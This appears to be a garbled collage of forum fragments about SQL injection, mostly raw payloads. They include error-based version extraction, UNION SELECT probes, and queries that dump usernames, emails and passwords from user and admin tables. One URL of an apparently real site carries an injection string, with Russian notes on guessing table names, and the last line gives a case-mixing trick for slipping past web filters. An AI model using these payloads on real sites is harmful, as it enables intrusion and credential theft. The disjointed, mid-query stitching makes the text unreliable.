and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
32)),0x332150,ifnull(full_name,char(32)),0x332150,ifnull(user_name,char(32)),0x332150,ifnull(user_email,char(32)),0x332150,ifnull(pwd,char
-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
0x39313335313435363237322e39 is just the hex text of 91351456272.9. Why 999999.9?
So, as it's being used a lot, I would submit my answer. In my opinion, the aim of these requests is to check the presence or absence of a sql injection. This is the part of the query that is trying to inject: 999999.9 UNION ALL SELECT "91351456272.9","91351456272.9"...
http://www.photoindustria.ru/?mod=contest&id=14+union+select+null,null,null,null,null,null+from+ABCDEF. Click to expand... Если ABCDEF заменить на USERS - запроспроходит. Далее подбираем поля
Word Spark search letters: rep) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- qmfQ. Enter first three letters from the first row
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))). URL will look like
Instead of union UnIoN In some basic WAF’s this will work.